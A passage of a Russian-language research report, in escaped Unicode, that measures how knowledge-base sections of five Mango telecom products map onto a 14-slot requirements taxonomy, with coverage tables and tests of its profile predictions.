\u0442\u043e \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n\\n| \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0411\u0417 | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | \u041f\u0440\u043e\u0444\u0438\u043b\u044c | \u0420\u0430\u0437\u0434\u0435\u043b\u043e\u0432 |\\n| --- | --- | --- | --- |\\n| [`mango-cc-manual`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/mango-cc-manual/index.md) | `contact-center` | `P-SETTINGS` | 139 |\\n| [`mango-lk-manual`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/mango-lk-manual/index.md) | `self-service-lk` | `P-SETTINGS` | 351 |\\n| [`vpbx-api`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/vpbx-api/index.md) | `voice-ucaas` | `P-API` | 255 |\\n| [`sip-trunk`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/sip-trunk/index.md) | `voice-ucaas` | `P-DEVICE` | 39 |\\n| [`speech-analytics/user-guide`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/speech-analytics/user-guide/index.md) | `analytics-reporting` | `P-SETTINGS` | 76 |\\n\\n\u0412\u0441\u0435\u0433\u043e 860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432.\\n\\n## 2. \u041f\u043e\u043a\u0440\u044b\u0442\u0438\u0435: \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u043b\u0438 \u043a\u043e\u0440\u043f\u0443\u0441 \u0441\u043b\u043e\u0442\u0430 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u0420\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432\u0441\u0435\u0433\u043e | 860 |\\n| \u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c | 457 (53.1 %) |\\n| \u041e\u0442\u043e\u0448\u043b\u043e \u0441\u043b\u043e\u0442\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e `S-SCOPE` | 403 (46.9 %) |\\n| \u041f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0441\u043b\u043e\u0442\u043e\u0432 **\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f** | **0** |\\n\\n\u0421\u043b\u043e\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u2014 \u043d\u0435 \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f, \u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u0440\u0430\u0437\u0434\u0435\u043b \u0411\u0417 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u0442\u043e \u0435\u0441\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435, \u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u2014 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 `S-SCOPE`. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u0435\u043c, \u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0430 \u0441\u043b\u043e\u0432\u043e, \u0432\u0441\u0435 403 \u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0445 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\\n\u0432\u044b\u043f\u0438\u0441\u0430\u043d\u044b \u0432 \u043f\u043e\u043b\u0435 `default_slot_titles` \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. \u0418\u0445 \u0440\u0430\u0437\u0431\u043e\u0440:\\n\\n| \u0413\u0440\u0443\u043f\u043f\u0430 \u043e\u0441\u0442\u0430\u0442\u043a\u0430 | \u041f\u0440\u0438\u043c\u0435\u0440\u044b \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 | \u041a\u0443\u0434\u0430 \u043b\u043e\u0436\u0438\u0442\u0441\u044f | \u041d\u0443\u0436\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0441\u043b\u043e\u0442? |\\n| --- | --- | --- | --- |\\n| \u041e\u0431\u044a\u0435\u043a\u0442\u044b \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 | \u00ab\u041e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f\u00bb, \u00ab\u0421\u0434\u0435\u043b\u043a\u0438\u00bb, \u00ab\u0412\u043e\u0440\u043e\u043d\u043a\u0430 \u043f\u0440\u043e\u0434\u0430\u0436\u00bb, \u00ab\u0424\u0438\u043d\u0430\u043d\u0441\u044b\u00bb, \u00ab\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b\u00bb | \u0444\u0430\u043a\u0442 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f, `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u041c\u0435\u0442\u043e\u0434\u044b \u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f API | \u00ab\u0418\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\u00bb, \u00ab\u0423\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e \u043d\u0430\u0436\u0430\u0442\u0438\u044f\u0445 DTMF \u043a\u043b\u0430\u0432\u0438\u0448\u00bb | `S-INTEGRATION`, \u0435\u0441\u043b\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0445 \u043c\u0435\u043d\u044f\u0435\u0442; \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u041e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433 \u0438 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 | \u00ab\u0411\u043b\u043e\u043a 3. \u0417\u0432\u043e\u043d\u043a\u0438\u00bb, \u00ab\u0428\u0430\u0433\u0438 \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430\u00bb, \u00ab\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f\u00bb | `S-SCOPE`; \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u0445 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `S-SCENARIO` | \u043d\u0435\u0442 |\\n| \u0422\u0430\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u043e\u043f\u043b\u0430\u0442\u0430 | \u00ab\u041f\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0447\u0435\u0442\u00bb, \u00ab\u0411\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u00bb, \u00ab\u0420\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u044b\u00bb | `S-LIMITS` \u043f\u0440\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0438, \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f | \u00ab1.\u00bb, \u00ab2.\u00bb, \u00ab3.1.\u00bb \u0432 `sip-trunk` | \u0448\u0443\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0430 PDF, \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b | \u043d\u0435\u0442 |\\n\\n\u041d\u0438 \u043e\u0434\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430 \u0437\u0430\u0432\u0435\u0441\u0442\u0438 \u0441\u043b\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u0435 \u0438\u0437 14\\n\u0441\u043b\u043e\u0442\u043e\u0432. \u042d\u0442\u043e \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u043d\u0435 \u043f\u0440\u0438\u0434\u0451\u0442\u0441\u044f \u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0442 \u043f\u043e\u0434\\n\u043a\u0430\u0436\u0434\u044b\u0439 \u0447\u0438\u0445\u00bb: \u043d\u0430 860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c.\\n\\n\u0427\u0435\u0441\u0442\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430: \u0434\u043e\u043b\u044f 46.9 % \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e **\u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430** \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442\\n\u0441\u043b\u043e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432. \u042d\u0442\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043e\u0431 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u0435, \u0430 \u043d\u0435 \u043e\\n\u0441\u043b\u043e\u0432\u0430\u0440\u0435: \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u00ab\u0421\u0434\u0435\u043b\u043a\u0438\u00bb \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430 \u0441\u043b\u043e\u0442\u0430, \u043d\u043e \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014\\n\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u0444\u0430\u043a\u0442 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f. \u0418\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u043f\u043e \u0442\u0435\u043b\u0443 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0434\u0430\u043b\u043e \u0431\u044b \u0431\u043e\u043b\u0435\u0435\\n\u0432\u044b\u0441\u043e\u043a\u0443\u044e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\\n## 3. \u041f\u0440\u043e\u0444\u0438\u043b\u0438: \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0442\u0438\u0432 \u0437\u0430\u043c\u0435\u0440\u0430\\n\\n\u0414\u043e\u043b\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043b\u043e\u0442\u0430 \u0432 \u0411\u0417 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u044b:\\n\\n| \u0421\u043b\u043e\u0442 | `mango-cc-manual` `P-SETTINGS` | `mango-lk-manual` `P-SETTINGS` | `speech-analytics` `P-SETTINGS` | `vpbx-api` `P-API` | `sip-trunk` `P-DEVICE` |\\n| --- | ---: | ---: | ---: | ---: | ---: |\\n| `S-GLOSSARY` | 0.7 | 0.9 | 3.9 | 1.2 | 5.1 |\\n| `S-SCOPE` | 43.9 | 41.0 | 46.1 | 58.8 | 33.3 |\\n| `S-FR` | 16.5 | 16.0 | 14.5 | 15.3 | 12.8 |\\n| `S-SETTINGS` | 18.0 | 10.5 | 14.5 | **2.0** | 10.3 |\\n| `S-UI` | 13.7 | 12.3 | 3.9 | **0.4** | **0.0** |\\n| `S-SCENARIO` | 2.2 | 3.4 | 3.9 | 1.2 | 2.6 |\\n| `S-NFR` | 1.4 | 1.1 | \u2014 | \u2014 | \u2014 |\\n| `S-LIMITS` | 2.9 | 4.8 | 1.3 | 2.0 | 2.6 |\\n| `S-INTEGRATION` | 0.7 | 10.0 | 11.8 | **19.2** | **33.3** |\\n\\n### 3.1. \u041f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u044b\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u2014 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438\u0441\u044c \u0432\u0441\u0435 \u043f\u044f\u0442\u044c\\n\\n\u041f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439 \u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442\\n\u0432\u044b\u0431\u043e\u0440\u0430 \u043f\u043e\u0440\u043e\u0433\u0430; \u043e\u0434\u043d\u0430 \u043f\u0430\u0440\u0430-\u043a\u043e\u043d\u0442\u0440\u043f\u0440\u0438\u043c\u0435\u0440 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u0435\u0442 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c. \u041a\u0430\u0436\u0434\u043e\u0435\\n\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u043d\u0430 \u0432\u0441\u0435\u0445 \u0442\u0440\u0451\u0445 \u043f\u0430\u0440\u0430\u0445 \u00ab\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0441\u043b\u0435\u0432\u0430 \u00d7 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 `P-SETTINGS`\u00bb.\\n\\n| \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 |\\n| --- | --- |\\n| \u0434\u043e\u043b\u044f `S-UI` \u0443 `P-API` \u043d\u0438\u0436\u0435, \u0447\u0435\u043c \u0443 `P-SETTINGS` | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c, 3 \u043f\u0430\u0440\u044b \u0438\u0437 3 |\\n| \u0434\u043e\u043b\u044f `S-UI` \u0443 `P-DEVICE` \u043d\u0438\u0436\u0435, \u0447\u0435\u043c \u0443 `P-SETTINGS` | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c, 3 \u0438\u0437 3 |\\n| \u0434\u043e\u043b\u044f `S-INTEGRATION` \u0443 `P-API` \u0432\u044b\u0448\u0435, \u0447\u0435\u043c \u0443 `P-SETTINGS` | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c, 3 \u0438\u0437 3 |\\n| \u0434\u043e\u043b\u044f `S-INTEGRATION` \u0443 `P-DEVICE` \u0432\u044b\u0448\u0435, \u0447\u0435\u043c \u0443 `P-SETTINGS` | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c, 3 \u0438\u0437 3 |\\n| \u0434\u043e\u043b\u044f `S-SETTINGS` \u0443 `P-API` \u043d\u0438\u0436\u0435, \u0447\u0435\u043c \u0443 `P-SETTINGS` | \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e\u0441\u044c, 3 \u0438\u0437 3 |\\n\\n\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e \u0437\u0430\u043c\u0435\u0440\u0430 \u043f\u043e \u0442\u0430\u0431\u043b\u0438\u0446\u0435\\n[\u00a76 `20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/20-taxonomy.md),\\n\u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0442\u043e\u0432 \u0432 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u043c \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u2014 \u0432 \u0411\u0417,\\n\u0430 \u043d\u0435 \u0432 `runs/`, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u0442\u0440\u043e\u0438\u043b\u0441\u044f \u0441\u043b\u043e\u0432\u0430\u0440\u044c. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f\\n\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e-\u043f\u0440\u0438\u0433\u043e\u0434\u043d\u043e\u0441\u0442\u044c: \u043f\u0440\u0430\u0432\u0438\u043b\u043e `R-3` (\u00ab\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043b\u043e\u0442\u0430,\\n\u0430 \u043d\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u043e\u043c \u0441\u043a\u0435\u043b\u0435\u0442\u0430\u00bb) \u0438\u043c\u0435\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u0438 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f.\\n\\n### 3.2. \u0414\u0432\u0430 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u043d\u0438\u044f **\u043d\u0435** \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438\u0441\u044c\\n\\n\u041f\u043e\u0440\u043e\u0433\u043e\u0432\u044b\u0435 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043e \u0437\u0430\u043c\u0435\u0440\u0430 \u0438 \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043a\u043e\u0434\u0435 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c.\\n\\n| \u041f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u043d\u0438\u0435 | \u0417\u0430\u043c\u0435\u0440 | \u0412\u044b\u0432\u043e\u0434 |\\n| --- | --- | --- |\\n| `S-INTEGRATION` \u0443 `P-API` \u2265 30 % | 19.2 % | \u043f\u043e\u0440\u043e\u0433 \u0437\u0430\u0432\u044b\u0448\u0435\u043d: \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043c\u0435\u0442\u043e\u0434\u0430 API \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 (\u00ab\u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 SMS\u00bb, \u00ab\u041f\u0435\u0440\u0435\u0432\u043e\u0434 \u0432\u044b\u0437\u043e\u0432\u0430\u00bb), \u043e\u043d\u0430 \u0432 \u0442\u0435\u043b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 |\\n| `S-UI` \u0443 `P-SETTINGS` \u2265 10 % | 3.9 % \u0443 `speech-analytics` | `analytics-reporting` \u0432\u0435\u0434\u0451\u0442 \u0441\u0435\u0431\u044f \u0431\u043b\u0438\u0436\u0435 \u043a `P-NO-SETTINGS`: \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0435\u0441\u0442\u044c, \u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d \u043a\u0430\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u044d\u043a\u0440\u0430\u043d |\\n\\n\u0412\u0442\u043e\u0440\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u044f\u043c\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b: **\u0441\u0442\u0440\u043e\u043a\u0430\\n`analytics \u2192 P-NO-SETTINGS` / `ai-automation \u2192 P-SETTINGS` \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439\\n\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043c\u0435\u0440\u043e\u043c** \u0438 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f\\n\u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 (\u0437\u0430\u0434\u0430\u0447\u0430 `B-143`). \u041f\u0435\u0440\u0432\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044f\\n\u043f\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u0438 \u043d\u0430 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u044b\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442.\\n\\n## 4. \u0427\u0442\u043e \u044d\u0442\u043e\u0442 \u0437\u0430\u043c\u0435\u0440 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\\n\\n1. **\u041d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f.** \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0440\u0430\u0437\u0434\u0435\u043b \u0411\u0417 \u0438\u043c\u0435\u0435\u0442\\n   \u0441\u043b\u043e\u0442-\u0430\u0434\u0440\u0435\u0441\u0430\u0442, \u0430 \u043d\u0435 \u0447\u0442\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u0442\u0441\u044f \u0432\\n   \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\n2. **\u041d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u041c\u0430\u043d\u0433\u043e.** \u041f\u044f\u0442\u044c\\n   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0432 `kb/processed/`; \u0434\u043e\u043c\u0435\u043d\u044b `hardware` \u0438 `security`\\n   \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0411\u0417 \u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0438 \u043f\u043e\u043a\u0440\u044b\u0442\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438\\n   \u044d\u0442\u0430\u043b\u043e\u043d\u0430\u043c\u0438.\\n3. **\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0438 \u043f\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443.** \u0420\u0430\u0437\u0434\u0435\u043b \u0441\u043e \u0441\u043c\u0435\u0448\u0430\u043d\u043d\u044b\u043c\\n   \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0442 \u043f\u043e \u043f\u0435\u0440\u0432\u043e\u043c\u0443 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0432\u0448\u0435\u043c\u0443 